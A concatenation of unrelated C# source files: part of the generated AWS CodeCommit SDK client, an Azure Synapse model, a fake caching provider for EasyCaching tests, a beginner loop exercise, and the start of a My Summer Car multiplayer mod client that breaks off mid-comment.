specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateDefaultBranch">REST API Reference for UpdateDefaultBranch Operation</seealso> public virtual UpdateDefaultBranchResponse UpdateDefaultBranch(UpdateDefaultBranchRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateDefaultBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateDefaultBranchResponseUnmarshaller.Instance; return Invoke<UpdateDefaultBranchResponse>(request, options); } /// <summary> /// Sets or changes the default branch name for the specified repository. /// /// <note> /// <para> /// If you use this operation to change the default branch name to the current default /// branch name, a success message is returned even though the default branch did not /// change. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateDefaultBranch service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdateDefaultBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateDefaultBranch">REST API Reference for UpdateDefaultBranch Operation</seealso> public virtual Task<UpdateDefaultBranchResponse> UpdateDefaultBranchAsync(UpdateDefaultBranchRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateDefaultBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateDefaultBranchResponseUnmarshaller.Instance; return InvokeAsync<UpdateDefaultBranchResponse>(request, options, cancellationToken); } #endregion #region UpdatePullRequestDescription /// <summary> /// Replaces the contents of the description of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestDescription service method.</param> /// /// <returns>The response from the UpdatePullRequestDescription service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidDescriptionException"> /// The pull request description is not valid. Descriptions are limited to 1,000 characters /// in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestDescription">REST API Reference for UpdatePullRequestDescription Operation</seealso> public virtual UpdatePullRequestDescriptionResponse UpdatePullRequestDescription(UpdatePullRequestDescriptionRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestDescriptionRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestDescriptionResponseUnmarshaller.Instance; return Invoke<UpdatePullRequestDescriptionResponse>(request, options); } /// <summary> /// Replaces the contents of the description of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestDescription service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdatePullRequestDescription service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidDescriptionException"> /// The pull request description is not valid. Descriptions are limited to 1,000 characters /// in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestDescription">REST API Reference for UpdatePullRequestDescription Operation</seealso> public virtual Task<UpdatePullRequestDescriptionResponse> UpdatePullRequestDescriptionAsync(UpdatePullRequestDescriptionRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestDescriptionRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestDescriptionResponseUnmarshaller.Instance; return InvokeAsync<UpdatePullRequestDescriptionResponse>(request, options, cancellationToken); } #endregion #region UpdatePullRequestStatus /// <summary> /// Updates the status of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestStatus service method.</param> /// /// <returns>The response from the UpdatePullRequestStatus service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusException"> /// The pull request status is not valid. The only valid values are <code>OPEN</code> /// and <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusUpdateException"> /// The pull request status update is not valid. The only valid update is from <code>OPEN</code> /// to <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestStatusRequiredException"> /// A pull request status is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestStatus">REST API Reference for UpdatePullRequestStatus Operation</seealso> public virtual UpdatePullRequestStatusResponse UpdatePullRequestStatus(UpdatePullRequestStatusRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestStatusRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestStatusResponseUnmarshaller.Instance; return Invoke<UpdatePullRequestStatusResponse>(request, options); } /// <summary> /// Updates the status of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestStatus service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdatePullRequestStatus service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusException"> /// The pull request status is not valid. The only valid values are <code>OPEN</code> /// and <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusUpdateException"> /// The pull request status update is not valid. The only valid update is from <code>OPEN</code> /// to <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestStatusRequiredException"> /// A pull request status is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestStatus">REST API Reference for UpdatePullRequestStatus Operation</seealso> public virtual Task<UpdatePullRequestStatusResponse> UpdatePullRequestStatusAsync(UpdatePullRequestStatusRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestStatusRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestStatusResponseUnmarshaller.Instance; return InvokeAsync<UpdatePullRequestStatusResponse>(request, options, cancellationToken); } #endregion #region UpdatePullRequestTitle /// <summary> /// Replaces the title of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestTitle service method.</param> /// /// <returns>The response from the UpdatePullRequestTitle service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTitleException"> /// The title of the pull request is not valid. Pull request titles cannot exceed 100 /// characters in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TitleRequiredException"> /// A pull request title is required. It cannot be empty or null. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestTitle">REST API Reference for UpdatePullRequestTitle Operation</seealso> public virtual UpdatePullRequestTitleResponse UpdatePullRequestTitle(UpdatePullRequestTitleRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestTitleRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestTitleResponseUnmarshaller.Instance; return Invoke<UpdatePullRequestTitleResponse>(request, options); } /// <summary> /// Replaces the title of a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdatePullRequestTitle service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdatePullRequestTitle service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTitleException"> /// The title of the pull request is not valid. Pull request titles cannot exceed 100 /// characters in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TitleRequiredException"> /// A pull request title is required. It cannot be empty or null. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestTitle">REST API Reference for UpdatePullRequestTitle Operation</seealso> public virtual Task<UpdatePullRequestTitleResponse> UpdatePullRequestTitleAsync(UpdatePullRequestTitleRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdatePullRequestTitleRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdatePullRequestTitleResponseUnmarshaller.Instance; return InvokeAsync<UpdatePullRequestTitleResponse>(request, options, cancellationToken); } #endregion #region UpdateRepositoryDescription /// <summary> /// Sets or changes the comment or description for a repository. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateRepositoryDescription service method.</param> /// /// <returns>The response from the UpdateRepositoryDescription service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryDescriptionException"> /// The specified repository description is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryDescription">REST API Reference for UpdateRepositoryDescription Operation</seealso> public virtual UpdateRepositoryDescriptionResponse UpdateRepositoryDescription(UpdateRepositoryDescriptionRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateRepositoryDescriptionRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateRepositoryDescriptionResponseUnmarshaller.Instance; return Invoke<UpdateRepositoryDescriptionResponse>(request, options); } /// <summary> /// Sets or changes the comment or description for a repository. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateRepositoryDescription service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdateRepositoryDescription service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryDescriptionException"> /// The specified repository description is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryDescription">REST API Reference for UpdateRepositoryDescription Operation</seealso> public virtual Task<UpdateRepositoryDescriptionResponse> UpdateRepositoryDescriptionAsync(UpdateRepositoryDescriptionRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateRepositoryDescriptionRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateRepositoryDescriptionResponseUnmarshaller.Instance; return InvokeAsync<UpdateRepositoryDescriptionResponse>(request, options, cancellationToken); } #endregion #region UpdateRepositoryName /// <summary> /// Renames a repository. The repository name must be unique across the calling AWS account. /// In addition, repository names are limited to 100 alphanumeric, dash, and underscore /// characters, and cannot include certain characters. The suffix ".git" is prohibited. /// For a full description of the limits on repository names, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">Limits</a> /// in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateRepositoryName service method.</param> /// /// <returns>The response from the UpdateRepositoryName service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameExistsException"> /// The specified repository name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryName">REST API Reference for UpdateRepositoryName Operation</seealso> public virtual UpdateRepositoryNameResponse UpdateRepositoryName(UpdateRepositoryNameRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateRepositoryNameRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateRepositoryNameResponseUnmarshaller.Instance; return Invoke<UpdateRepositoryNameResponse>(request, options); } /// <summary> /// Renames a repository. The repository name must be unique across the calling AWS account. /// In addition, repository names are limited to 100 alphanumeric, dash, and underscore /// characters, and cannot include certain characters. The suffix ".git" is prohibited. /// For a full description of the limits on repository names, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">Limits</a> /// in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateRepositoryName service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdateRepositoryName service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameExistsException"> /// The specified repository name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryName">REST API Reference for UpdateRepositoryName Operation</seealso> public virtual Task<UpdateRepositoryNameResponse> UpdateRepositoryNameAsync(UpdateRepositoryNameRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateRepositoryNameRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateRepositoryNameResponseUnmarshaller.Instance; return InvokeAsync<UpdateRepositoryNameResponse>(request, options, cancellationToken); } #endregion } }
57.268025
230
0.662054
[ "Apache-2.0" ]
costleya/aws-sdk-net
sdk/src/Services/CodeCommit/Generated/_bcl45/AmazonCodeCommitClient.cs
531,390
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // <auto-generated/> #nullable disable using System.Collections.Generic; using Azure.Core; namespace Azure.Analytics.Synapse.Artifacts.Models { /// <summary> Parameters for updating a workspace resource. </summary> public partial class WorkspaceUpdateParameters { /// <summary> The resource tags. </summary> public IReadOnlyDictionary<string, string> Tags { get; } /// <summary> Managed service identity of the workspace. </summary> public WorkspaceIdentity Identity { get; } } }
27.347826
75
0.702703
[ "MIT" ]
MahmoudYounes/azure-sdk-for-net
sdk/synapse/Azure.Analytics.Synapse.Artifacts/src/Generated/Models/WorkspaceUpdateParameters.cs
629
C#
namespace EasyCaching.UnitTests { using System; using System.Collections.Generic; using System.Threading.Tasks; using EasyCaching.Core; public class FakeDistributedCachingProvider : IEasyCachingProvider { public string Name => "distributed"; public int Order => 1; public int MaxRdSecond => 0; public CachingProviderType CachingProviderType => CachingProviderType.Redis; public CacheStats CacheStats => new CacheStats(); public virtual bool Exists(string cacheKey) { return true; } public virtual Task<bool> ExistsAsync(string cacheKey) { return Task.FromResult(true); } public virtual void Flush() { } public virtual Task FlushAsync() { return Task.CompletedTask; } public virtual CacheValue<T> Get<T>(string cacheKey, Func<T> dataRetriever, TimeSpan expiration) { return new CacheValue<T>(default(T), true); } public virtual CacheValue<T> Get<T>(string cacheKey) { return new CacheValue<T>(default(T), true); } public virtual IDictionary<string, CacheValue<T>> GetAll<T>(IEnumerable<string> cacheKeys) { return new Dictionary<string, CacheValue<T>>(); } public virtual Task<IDictionary<string, CacheValue<T>>> GetAllAsync<T>(IEnumerable<string> cacheKeys) { IDictionary<string, CacheValue<T>> dict = new Dictionary<string, CacheValue<T>>(); return Task.FromResult(dict); } public virtual Task<CacheValue<T>> GetAsync<T>(string cacheKey, Func<Task<T>> dataRetriever, TimeSpan expiration) { return Task.FromResult(new CacheValue<T>(default(T), true)); } public virtual Task<object> GetAsync(string cacheKey, Type type) { return Task.FromResult<object>(null); } public virtual Task<CacheValue<T>> GetAsync<T>(string cacheKey) { return Task.FromResult(new CacheValue<T>(default(T), true)); } public virtual IDictionary<string, CacheValue<T>> GetByPrefix<T>(string prefix) { return new Dictionary<string, CacheValue<T>>(); } public virtual Task<IDictionary<string, CacheValue<T>>> GetByPrefixAsync<T>(string prefix) { IDictionary<string, CacheValue<T>> dict = new Dictionary<string, CacheValue<T>>(); return Task.FromResult(dict); } public virtual int GetCount(string prefix = "") { return 1; } public Task<int> GetCountAsync(string prefix = "") { return Task.FromResult(1); } public virtual TimeSpan GetExpiration(string cacheKey) { return TimeSpan.FromSeconds(1); } public virtual Task<TimeSpan> GetExpirationAsync(string cacheKey) { return Task.FromResult(TimeSpan.FromSeconds(1)); } public ProviderInfo GetProviderInfo() { throw new NotImplementedException(); } public virtual void Refresh<T>(string cacheKey, T cacheValue, TimeSpan expiration) { } public virtual Task RefreshAsync<T>(string cacheKey, T cacheValue, TimeSpan expiration) { return Task.CompletedTask; } public virtual void Remove(string cacheKey) { } public virtual void RemoveAll(IEnumerable<string> cacheKeys) { } public virtual Task RemoveAllAsync(IEnumerable<string> cacheKeys) { return Task.CompletedTask; } public virtual Task RemoveAsync(string cacheKey) { return Task.CompletedTask; } public virtual void RemoveByPrefix(string prefix) { } public virtual Task RemoveByPrefixAsync(string prefix) { return Task.CompletedTask; } public virtual void Set<T>(string cacheKey, T cacheValue, TimeSpan expiration) { } public virtual void SetAll<T>(IDictionary<string, T> value, TimeSpan expiration) { } public virtual Task SetAllAsync<T>(IDictionary<string, T> value, TimeSpan expiration) { return Task.CompletedTask; } public virtual Task SetAsync<T>(string cacheKey, T cacheValue, TimeSpan expiration) { return Task.CompletedTask; } public virtual bool TrySet<T>(string cacheKey, T cacheValue, TimeSpan expiration) { return true; } public virtual Task<bool> TrySetAsync<T>(string cacheKey, T cacheValue, TimeSpan expiration) { return Task.FromResult(true); } } }
26.983607
121
0.59032
[ "MIT" ]
mindbox-moscow/EasyCaching
test/EasyCaching.UnitTests/Fake/FakeDistributedCachingProvider.cs
4,940
C#
//Problem 16.* Print Long Sequence //Write a program that prints the first 1000 members of the sequence: 2, -3, 4, -5, 6, -7, … //You might need to learn how to use loops in C# (search in Internet). using System; class PrintLongSequence { static void Main() { Console.WriteLine("This program displayed first 1000 members of the sequence."); for (int i = 2; i <= 1000; i++) { if (i%2==0) { Console.Write("{0}, ",i); } else { Console.Write("-{0}, ",i); } } } }
22.321429
92
0.4816
[ "MIT" ]
Redsart/Telerik-Software-Academy
C#/C# Part 1/01.Introduction to Programing/PrintLongSequence/PrintLongSequence.cs
629
C#
using System; using System.IO; static class AssemblyLocation { static AssemblyLocation() { var assembly = typeof(AssemblyLocation).Assembly; var uri = new UriBuilder(assembly.CodeBase); var path = Uri.UnescapeDataString(uri.Path); CurrentDirectory = Path.GetDirectoryName(path)!; } public static string CurrentDirectory; }
23
58
0.659847
[ "MIT" ]
majacQ/EmptyFiles
src/EmptyFiles/AssemblyLocation.cs
377
C#
using System.IO; using System.Reflection; using System.Diagnostics; using UnityEngine; using System; using MSCMP.Utilities; namespace MSCMP { /// <summary> /// Main class of the mod. /// </summary> public class Client { /// <summary> /// The current mod development stage. /// </summary> public const string MOD_DEVELOPMENT_STAGE = "Pre-Alpha"; /// <summary> /// Asset bundle containing multiplayer mod content. /// </summary> private static AssetBundle _assetBundle = null; /// <summary> /// The my summer car game app id. /// </summary> public static readonly Steamworks.AppId_t GAME_APP_ID = new Steamworks.AppId_t(516750); /// <summary> /// Starts the mod. Called from Injector. /// </summary> public static void Start() { // Game.Hooks.PlayMakerActionHooks.Install(); var bundleFolderPath = "Mods/Assets/MPMod/mpdata"; var assetBundlePath = ModUtils.GetPath(bundleFolderPath); if (!File.Exists(assetBundlePath)) { FatalError("Cannot find mpdata asset bundle."); return; } _assetBundle = AssetBundle.CreateFromFile(assetBundlePath); var go = new GameObject("Multiplayer GUI Controller"); go.AddComponent<UI.MPGUI>(); go = new GameObject("Multiplayer Controller"); go.AddComponent<MPController>(); UI.Console.RegisterCommand("quit", (string[] args) => { Application.Quit(); }); } /// <summary> /// Loads asset from multiplayer mod asset bundle. /// </summary> /// <typeparam name="T">The type of the asset to load.</typeparam> /// <param name="name">The name of the asset to load.</param> /// <returns>Loaded asset.</returns> public static T LoadAsset<T>(string name) where T : UnityEngine.Object => _assetBundle.LoadAsset<T>(name); /// <summary> /// Call this when fatal error occurs. This will print error into the log and /// close the game. /// </summary> /// <param name="message">The message to print to console.</param> public static void FatalError(string message) { Logger.Log(message); Logger.Log(Environment.StackTrace); #if DEBUG if (Debugger.IsAttached) { throw new Exception(message); } else { #endif Process.GetCurrentProcess().Kill(); #if DEBUG } #endif } /// <summary> /// Standard assertion. If given condition is not true then prints message to the /// log and closes game. /// </summary> /// <param name="condition">Condition to chec.</param> /// <param name="message">The message to print to console.</param> public static void Assert(bool condition, string message) { if (condition) { return; } Logger.Log("[ASSERTION FAILED]"); FatalError(message); } /// <summary> /// Get display version of the mod. /// </summary> /// <returns></returns> public static string GetMODDisplayVersion() { string version = Assembly.GetExecutingAssembly() .GetName() .Version.ToString(); version += " " + MOD_DEVELOPMENT_STAGE; return version; } /// 